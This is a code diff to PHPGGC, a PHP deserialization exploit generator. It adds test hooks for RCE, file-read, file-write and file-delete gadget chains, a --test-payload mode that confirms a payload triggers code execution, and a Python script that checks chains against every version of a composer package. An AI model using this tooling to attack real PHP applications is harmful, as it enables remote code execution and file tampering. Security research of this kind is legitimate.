10 'remote_path'
1111 ];
1212
1313 public function generate(array $parameters)
1414 {
15 $file = $parameters['remote_file'];
15 $file = $parameters['remote_path'];
1616
1717 return new \Zend_Http_Response_Stream(
1818 true,
55 {
66 public static $type = self::TYPE_FD;
77 public static $parameters = [
8 'remote_file'
8 'remote_path'
99 ];
10
11 public function test_setup()
12 {
13 return [
14 'remote_path' => \PHPGGC\Util::rand_file('test file delete')
15 ];
16 }
17
18 public function test_confirm($arguments, $output)
19 {
20 return !file_exists($arguments['remote_path']);
21 }
22
23 public function test_cleanup($arguments)
24 {
25 if(file_exists($arguments['remote_path']))
26 unlink($arguments['remote_path']);
27 }
1028 }
55 {
66 public static $type = self::TYPE_FR;
77 public static $parameters = [
8 'remote_file'
8 'remote_path'
99 ];
10
11 public function test_setup()
12 {
13 return [
14 'remote_path' => \PHPGGC\Util::rand_file('test file read')
15 ];
16 }
17
18 public function test_confirm($arguments, $output)
19 {
20 $expected = file_get_contents($arguments['remote_path']);
21 return strpos($output, $expected) !== false;
22 }
23
24 public function test_cleanup($arguments)
25 {
26 if(file_exists($arguments['remote_path']))
27 unlink($arguments['remote_path']);
28 }
1029 }
1919 $parameters['data'] = file_get_contents($local_path);
2020 return $parameters;
2121 }
22
23 public function test_setup()
24 {
25 return [
26 'local_path' => \PHPGGC\Util::rand_file('test file write'),
27 'remote_path' => \PHPGGC\Util::rand_path('', '.test')
28 ];
29 }
30
31 public function test_confirm($arguments, $output)
32 {
33 if(!file_exists($arguments['remote_path']))
34 return false;
35
36 $expected = file_get_contents($arguments['local_path']);
37 $obtained = file_get_contents($arguments['remote_path']);
38
39 return strpos($obtained, $expected) !== false;
40 }
41
42 public function test_cleanup($arguments)
43 {
44 if(file_exists($arguments['remote_path']))
45 unlink($arguments['remote_path']);
46 if(file_exists($arguments['local_path']))
47 unlink($arguments['local_path']);
48 }
2249 }
44 abstract class PHPInfo extends \PHPGGC\GadgetChain
55 {
66 public static $type = self::TYPE_INFO;
7
8 public function test_setup()
9 {
10 return [];
11 }
12
13 public function test_confirm($arguments, $output)
14 {
15 $expected = [
16 'phpinfo()',
17 'PHP Authors',
18 'Module Authors',
19 'PHP Variables'
20 ];
21 foreach($expected as $needle)
22 if(strpos($output, $needle) === false)
23 return false;
24
25 return true;
26 }
727 }
1212 public static $parameters = [
1313 'command'
1414 ];
15
16 public function test_setup()
17 {
18 $command = $this->_test_build_command();
19 return [
20 'command' => $command
21 ];
22 }
1523 }
1313 'function',
1414 'parameter'
1515 ];
16
17 public function test_setup()
18 {
19 $command = $this->_test_build_command();
20 return [
21 'function' => 'system',
22 'parameter' =>
23 $command
24 ];
25 }
1626 }
1212 public static $parameters = [
1313 'code'
1414 ];
15
16 public function test_setup()
17 {
18 # TODO file_put_contents() might be a better option here, but it'll work
19 # for now.
20 $command = $this->_test_build_command();
21 return [
22 'code' => 'system(' . var_export($command, true) . ');'
23 ];
24 }
1525 }
66 public static $type = self::TYPE_RCE;
77 # TBD by subclasses
88 public static $parameters = [];
9
10 /**
11 * The result of the command is not necessarily visible. We write the output
12 * to a file instead to be able to tell if the payload worked, even if
13 * there's no output.
14 */
15 protected function _test_build_command()
16 {
17 $this->__test_rand_token = sha1(rand());
18 $this->__test_rand_path = \PHPGGC\Util::rand_path();
19 return
20 'echo ' . $this->__test_rand_token .
21 ' > ' . $this->__test_rand_path
22 ;
23 }
24
25 public function test_confirm($arguments, $output)
26 {
27 if(!file_exists($this->__test_rand_path))
28 return false;
29 $result = file_get_contents($this->__test_rand_path);
30 return strpos($result, $this->__test_rand_token) !== false;
31 }
32
33 public function test_cleanup($arguments)
34 {
35 if(file_exists($this->__test_rand_path))
36 unlink($this->__test_rand_path);
37 }
938 }
66 public static $parameters = [
77 'uri'
88 ];
9
10 public function test_setup()
11 {
12 throw new \PHPGGC\Exception("SSRF payloads cannot be tested.");
13 }
14
15 public function test_confirm($arguments, $output)
16 {
17 return false;
18 }
919 }
1020 ?>
77 public static $parameters = [
88 'sql'
99 ];
10
11 public function test_setup()
12 {
13 throw new \PHPGGC\Exception("SQL injection payloads cannot be tested.");
14 }
15
16 public function test_confirm($arguments, $output)
17 {
18 return false;
19 }
1020 }
5757 $this->load_gadgets();
5858 }
5959
60 /**
61 * Loads the gadgets required by the chain.
62 */
6063 protected function load_gadgets()
6164 {
6265 $directory = dirname((new \ReflectionClass($this))->getFileName());
7679 * Modifies given parameters if required.
7780 * Called before `generate()`.
7881 * This is called on the gadget chain's parameters, such as for instance
79 * "remote_file" and "local_file" for a file write chain.
82 * "remote_path" and "local_path" for a file write chain.
8083 *
8184 * @param array $parameters Gadget chain parameters
8285 * @return array Modified parameters
155158 $class = str_replace('\\', '/', $class);
156159 return $class;
157160 }
161
162 # Test methods - Internal use only
163
164 /**
165 * Returns arguments that need to be used to test the gadget chain.
166 * This method can also setup the testing environment, by creating a file
167 * for instance.
168 *
169 * @return array Arguments the payload need to be generated with, as a
170 * [key] => [test-value] associative array.
171 */
172 abstract public function test_setup();
173
174 /**
175 * Returns whether the deserialisation of the payload yielded the expected
176 * results.
177 *
178 * @param array arguments Arguments the payload was generated with
179 * @param string result Output of the test_payload.php command
180 *
181 * @return bool true if the payload executed successfully.
182 */
183 abstract public function test_confirm($arguments, $output);
184
185 /**
186 * Cleans up the test environment, e.g. removes a file created by
187 * test_setup().
188 *
189 * @param array arguments Arguments the payload was generated with
190 *
191 * @return null
192 */
193 public function test_cleanup($arguments)
194 {
195 }
158196 }
0 <?php
1
2 namespace PHPGGC;
3
4 /**
5 * Utility functions.
6 */
7 class Util
8 {
9 /**
10 * Creates a file in the temporary directory.
11 *
12 * @param string $name Filename
13 * @param string $contents Contents of the file
14 *
15 * @return string Full path to the file
16 */
17 static public function temp_file($name, $contents)
18 {
19 $path = static::temp_path($name);
20 file_put_contents($path, $contents);
21 return $path;
22 }
23
24 /**
25 * Creates a file in the temporary directory.
26 *
27 * @param string $contents Contents of the file
28 * @param string $prefix A string to prepend to the filename
29 * @param string $suffix A string to append to the filename
30 *
31 * @return string Full path to the file
32 */
33 static public function rand_file($contents, $prefix='', $suffix='')
34 {
35 $path = static::rand_path($prefix, $suffix);
36 file_put_contents($path, $contents);
37 return $path;
38 }
39
40 /**
41 * Returns a random temporary file path.
42 *
43 * @param string $prefix A string to prepend to the filename
44 * @param string $suffix A string to append to the filename
45 *
46 * @return string Full path to the file
47 */
48 static public function rand_path($prefix='', $suffix='')
49 {
50 return static::temp_path(
51 $prefix . 'phpggc' . sha1(rand()) . $suffix
52 );
53 }
54
55 /**
56 * Returns a temporary file path whose basename is $name
57 *
58 * @param string $name Name of the temporary file
59 *
60 * @return string Full path to the file
61 */
62 static public function temp_path($name)
63 {
64 return sys_get_temp_dir() . DIRECTORY_SEPARATOR . $name;
65 }
66 }
3737 {
3838 global $argv;
3939
40 $parameters = $this->parse_cmdline($argv);
41
42 if($parameters === null)
40 $arguments = $this->parse_cmdline($argv);
41
42 if($arguments === null)
4343 return;
4444
45 if(count($parameters) < 1)
45 if(count($arguments) < 1)
4646 {
4747 $this->help();
4848 return;
4949 }
5050
51 $class = array_shift($parameters);
51 $class = array_shift($arguments);
5252 $gc = $this->get_gadget_chain($class);
5353
5454 $this->setup_enhancements();
55 $parameters = $this->get_type_parameters($gc, $parameters);
56 $generated = $this->serialize($gc, $parameters);
5755
5856 if(in_array('test-payload', $this->options))
59 $this->test_payload($gc, $generated);
57 {
58 if(count($arguments) > 0)
59 $this->o(
60 "WARNING: Testing a payload ignores payload arguments."
61 );
62 $this->test_payload($gc);
63 }
6064 else
65 {
66 $arguments = $this->get_type_arguments($gc, $arguments);
67 $generated = $this->serialize($gc, $arguments);
6168 $this->output_payload($generated);
62 }
63
64 /**
65 * Runs generated payload using the ./template/test_payload.php script.
66 * We have to use system() here, because the classes used during the
67 * deserialization process are already defined by PHPGGC, and there is no
68 * mechanism allowing to delete classes in PHP. Therefore, a new PHP process
69 * has to be created.
70 */
71 public function test_payload($gc, $payload)
69 }
70 }
71
72 /**
73 * Tests whether the payload works in the current environement.
74 * PHPGGC will generate test arguments, include vendor/autoload.php, run the
75 * payload, and check whether it was run successfully.
76 * The script will exit with status 0 if the payload triggered, 1 otherwise.
77 */
78 public function test_payload($gc)
7279 {
7380 $this->o('Trying to deserialize payload...');
81 $arguments = $gc->test_setup();
82 $payload = $this->serialize($gc, $arguments);
7483 $vector = isset($this->parameters['phar']) ? 'phar' : $gc::$vector;
75 system(
84
85 # We have to use system() here, because the classes used during the
86 # deserialization process are already defined by PHPGGC, and there is no
87 # mechanism allowing to delete classes in PHP. Therefore, a new PHP process
88 # has to be created.
89 $output = shell_exec(
7690 escapeshellarg(DIR_LIB . '/test_payload.php') . ' ' .
7791 escapeshellarg($vector) . ' ' .
7892 escapeshellarg(base64_encode($payload))
7993 );
94 $result = $gc->test_confirm($arguments, $output);
95
96 $gc->test_cleanup($arguments);
97
98 if($result)
99 {
100 $this->o('SUCCESS: Payload triggered !');
101 exit(0);
102 }
103 else
104 {
105 $this->o('FAILURE: Payload did not trigger !');
106 exit(1);
107 }
80108 }
81109
82110 /**
200228 */
201229 public static function autoload_register()
202230 {
203 spl_autoload_register(array(static::class, 'autoload'));
231 spl_autoload_register([static::class, 'autoload']);
204232 }
205233
206234 /**
552580 $this->o('CREATION');
553581 $this->o(' -N, --new <framework> <type>');
554582 $this->o(' Creates the file structure for a new gadgetchain for given framework');
555 $this->o(' Example: ./phpggc -n Drupal RCE');
583 $this->o(' Example: ./phpggc -N Drupal RCE');
556584 $this->o(' --test-payload');
557585 $this->o(' Instead of displaying or storing the payload, includes vendor/autoload.php and unserializes the payload.');
558586 $this->o(' The test script can only deserialize __destruct, __wakeup, __toString and PHAR payloads.');
783811 }
784812
785813 /**
786 * Convert command line parameters into an array of named parameters,
814 * Converts command line arguments into an array of named arguments,
787815 * specific to the type of payload.
788816 */
789 protected function get_type_parameters($gc, $parameters)
790 {
791 $arguments = $gc::$parameters;
792
793 $values = @array_combine($arguments, $parameters);
794
795 if($values === false)
817 protected function get_type_arguments($gc, $arguments)
818 {
819 $keys = $gc::$parameters;
820 if(count($keys) != count($arguments))
796821 {
797822 $this->o($gc, 2);
798823 $this->e(
800825 $this->_get_command_line_gc($gc)
801826 );
802827 }
803
804 return $values;
828 return array_combine($keys, $arguments);
805829 }
806830
807831 protected function _get_command_line_gc($gc)
1313 catch(\PHPGGC\Exception $e)
1414 {
1515 print("ERROR: " . $e->getMessage() . "\n");
16 exit(1);
1617 }
0 #!/usr/bin/env python3
1 """
2 Test PHPGGC gadget chains against every version of a composer package.
3
4 Usage:
5 $ ./test-gc-compatibility.py <composer-package> <gadget-chain-1> [gadget-chain-2...]
6
7 Example:
8 $ ./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3
9
10 Required executables:
11 The program requires phpggc and composer.
12 By default, it will use the `phpggc` from the current directory, and the
13 composer from PATH. If you wish to use other paths, use the `PHPGGC_PATH`
14 and `COMPOSER_PATH` environment variables.
15 If a file cannot be ran straight up, we'll try using `php <file>` instead.
16
17 Dependencies:
18 $ pip install rich
19
20 Credit goes to @M4yFly for the original idea and implementation.
21 """
22
23 import subprocess
24 import argparse
25 import pathlib
26 import os
27 import re
28 import tempfile
29 import shutil
30
31
32 try:
33 from rich import print
34 except ImportError:
35 print('Please install the `rich` python3 package to use this program.')
36 print('$ pip install rich')
37 exit()
38
39
40 from rich.progress import Progress
41 from rich.table import Table
42
43
44 class Tester:
45 """Tests gadget chains against a composer package.
46 """
47 _package = None
48
49 def run(self):
50 args = setup_arguments()
51 self._cwd = os.curdir
52 self._gcs = args.gadget_chain
53 self._executor = Executor()
54 self._package = Package(args.package, executor=self._executor)
55
56 for gc in self._gcs:
57 self.ensure_gc_exists(gc)
58
59 versions = self._package.get_versions()
60 print(
61 f'Testing {len(versions)} versions for '
62 f'[blue]{self._package.name}[/blue] against '
63 f'{len(self._gcs)} gadget chains.'
64 )
65
66 # We'll jump to a temporary directory for phpggc and composer to work
67 # without breaking anything.
68 os.chdir(self._package.work_dir)
69
70 self.test_chains_on_versions(versions)
71
72 def ensure_gc_exists(self, name):
73 """Makes sure that a GC exists.
74 """
75 if not self._executor.phpggc('-i', name):
76 raise TesterException(f'Gadget chain does not exist: {name}')
77
78 def test_chains_on_versions(self, versions):
79 """Contains the main logic. Each version of the package will be
80 installed, and each gadget chain will be tested against it. Results
81 are kept in a table.
82 """
83 table = Table(self._package.name)
84 table.add_column('Package', justify='center')
85
86 for gc in self._gcs:
87 table.add_column(gc, justify='center')
88
89 errored_payload_rows = (
90 (self.__status_str(False), ) +
91 ('[yellow]-', ) * len(self._gcs)
92 )
93
94 with Progress() as progress:
95 ptask = progress.add_task('Testing chains', total=len(versions))
96
97 for version in versions:
98 progress.update(ptask, advance=1,
99 description=f'Testing ({version})')
100 try:
101 tests = self.test_chains_on_version(version)
102 except ValueError:
103 table.add_row(version, *errored_payload_rows)
104 else:
105 outputs = [self.__status_str(test) for test in tests]
106 table.add_row(version, self.__status_str(True), *outputs)
107
108 progress.update(ptask, visible=False)
109
110 print(table)
111
112 def __status_str(self, test):
113 return test and '[green]OK' or '[red]KO'
114
115 def test_chains_on_version(self, version):
116 self._package.install_version(version)
117 return [
118 self._executor.phpggc('--test-payload', gc)
119 for gc in self._gcs
120 ]
121
122 def cleanup(self):
123 """Cleans up anything we might have used and go back to the original
124 directory.
125 """
126 os.chdir(self._cwd)
127 if self._package:
128 self._package.cleanup()
129
130
131 class TesterException(Exception):
132 pass
133
134
135 def setup_arguments():
136 parser = argparse.ArgumentParser(description=
137 'Test PHPGGC gadget chains against every version of a composer package.'
138 )
139 parser.add_argument('package')
140 parser.add_argument('gadget_chain', nargs='+')
141
142 return parser.parse_args()
143
144
145 class Executor:
146 """Small wrapper to execute composer and phpggc.
147 """
148
149 def __init__(self):
150 self.get_commands()
151
152 def _try_run_command(self, *cmd):
153 """Tries to run a command to completion: if no exception happens and the
154 return code is zero, returns True. Otherwise, False.
155 """
156 try:
157 process = self._run(*cmd)
158 except (PermissionError, FileNotFoundError) as e:
159 return False
160 return process.returncode == 0
161
162 def _get_valid_run_command(self, php_file):
163 """Tries to run a PHP file directly (e.g. `./file.php`). If it does not
164 work, tries with `php file.php`.
165 Returns the arguments required to launch the file, as tuple.
166 If nothing works, an exception is raised.
167 """
168 # We will change our current directory during the execution.
169 # If we can find php_file in the current path, refer to it using an
170 # absolute path.
171 # Otherwise, just assume it's an alias or from $PATH.
172 path = pathlib.Path(php_file)
173 if path.exists():
174 php_file = str(path.absolute())
175
176 if self._try_run_command(php_file):
177 return (php_file, )
178 elif path.exists() and self._try_run_command('php', php_file):
179 return ('php', php_file)
180 raise TesterException(f'Unable to run PHP file: {php_file}')
181
182 def get_commands(self):
183 """Gets the paths of the two required programs, phpggc and composer, and
184 verifies if they need to be started with "php" as a prefix.
185 """
186 work_dir = pathlib.Path(__file__).parent.resolve()
187 phpggc = os.environ.get('PHPGGC_PATH', str(work_dir / 'phpggc'))
188 composer = os.environ.get('COMPOSER_PATH', 'composer')
189
190 if not pathlib.Path(phpggc).is_file():
191 raise TesterException('phpggc executable not found')
192
193 self._phpggc = self._get_valid_run_command(phpggc)
194 self._composer = self._get_valid_run_command(composer)
195
196 def _run(self, *args):
197 """Runs a program with given arguments.
198 """
199 return subprocess.run(
200 args, stdout=subprocess.PIPE, stderr=subprocess.PIPE
201 )
202
203 def composer(self, *args):
204 """Runs composer and returns stdout and stderr as a tuple.
205 """
206 process = self._run(*self._composer, *args)
207 return process.stdout.decode('utf-8'), process.stderr.decode('utf-8')
208
209 def phpggc(self, *args):
210 """Runs PHPGGC with given arguments and returns whether the execution
211 was successful or not.
212 """
213 return self._run(*self._phpggc, *args).returncode == 0
214
215
216 class Package:
217 """Represents a composer package.
218 """
219 def __init__(self, name, executor):
220 self.name = name
221 self._executor = executor
222 self.work_dir = pathlib.Path(tempfile.mkdtemp(prefix='phpggc'))
223
224 def get_versions(self):
225 """Uses composer to obtain each version (or tag) for the package.
226 """
227 versions, _ = self._executor.composer('show', '-a', self.name)
228 versions = re.search(r'versions :(.*)\ntype', versions).group(1)
229 return [v.strip() for v in versions.split(',')]
230
231 def clean_workdir(self, final=False):
232 """Removes any composer related file in the working directory, such as
233 composer.json and vendor/.
234 """
235 (self.work_dir / 'composer.json').unlink(missing_ok=True)
236 (self.work_dir / 'composer.lock').unlink(missing_ok=True)
237 shutil.rmtree(self.work_dir / 'vendor', ignore_errors=True)
238 if final:
239 self.work_dir.rmdir()
240
241 def install_version(self, version):
242 """Uses composer to install a specific version of the package.
243 """
244 self.clean_workdir()
245 _, stderr = self._executor.composer(
246 'require',
247 '-q', '--ignore-platform-reqs', f'{self.name}:{version}'
248 )
249 if stderr:
250 raise ValueError(f'Unable to install version: {version}')
251
252 def cleanup(self):
253 self.clean_workdir(final=True)
254
255
256 if __name__ == '__main__':
257 tester = Tester()
258
259 try:
260 tester.run()
261 except TesterException as e:
262 print(f'[red]Error: {e}[/red]')
263 except KeyboardInterrupt:
264 print(f'[red]Execution interrupted.')
265 finally:
266 tester.cleanup()